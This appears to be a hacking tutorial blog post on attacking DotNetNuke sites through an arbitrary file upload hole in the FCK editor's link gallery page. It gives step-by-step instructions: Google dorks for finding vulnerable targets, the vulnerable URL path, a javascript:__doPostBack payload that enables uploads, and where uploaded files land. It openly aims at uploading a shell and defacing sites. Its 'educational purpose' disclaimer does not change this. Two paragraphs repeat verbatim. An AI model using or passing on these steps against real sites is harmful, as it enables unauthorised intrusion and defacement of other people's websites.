Lets first get some brief info about DNN.
Dot Net Nuke (DNN) is an open source Portal and Content Management Framework and uses .NET platform. It offers framework for the development of a wide range of commercial portal application.
It allows admins to work effectively with add-ons, third party assemblies and custom tools.
There"s a hole in this CMS which allows any1 to upload any data in the root. You can upload shell in the site and with the help of that can deface that site !!!
It allows admins to work effectively with add-ons, third party assemblies and custom tools.
There"s a hole in this CMS which allows any1 to upload any data in the root. You can upload shell in the site and with the help of that can deface that site !!!
Below are the easy steps to implement the attack:
- First use a Google dork to find the appropriate target.
inurl:”/portals/0″ site:.com
:inurl:/tabid/36/language/en-US/Default.aspx
- You can change com to your desired domain name like net.
- Now search your website on the google after searching you will get many websites choose any one of it.
- Its time to check the required vulnerability on the website just place this code after the web address.
/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
- For example if you got www.victim.com
- Replace it www.victim.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
- If you will get this screen means this web is going to hack.
- Now choose the third option "A File On Your Site” And than paste this java code on your address bar.
javascript:__doPostBack('ctlURL$cmdUpload','')
- It will allow you to upload a files on this website you can upload text ~ swf ~ jpg ~ gif ~ pdf ~ Files.
- After uploading files you can find your file on this address www.victim.com/portals/0/yourfile.extension , here extension is txt jpg swf etc.
- In our case
www.victim.com/portals/0/ht.txt
For the sake of tutorial i had uploaded a .txt in the root. Above is the screen shot of that only.
NOTE: The above tutorial is only for educational purpose. Do not use it for illegal purpose.
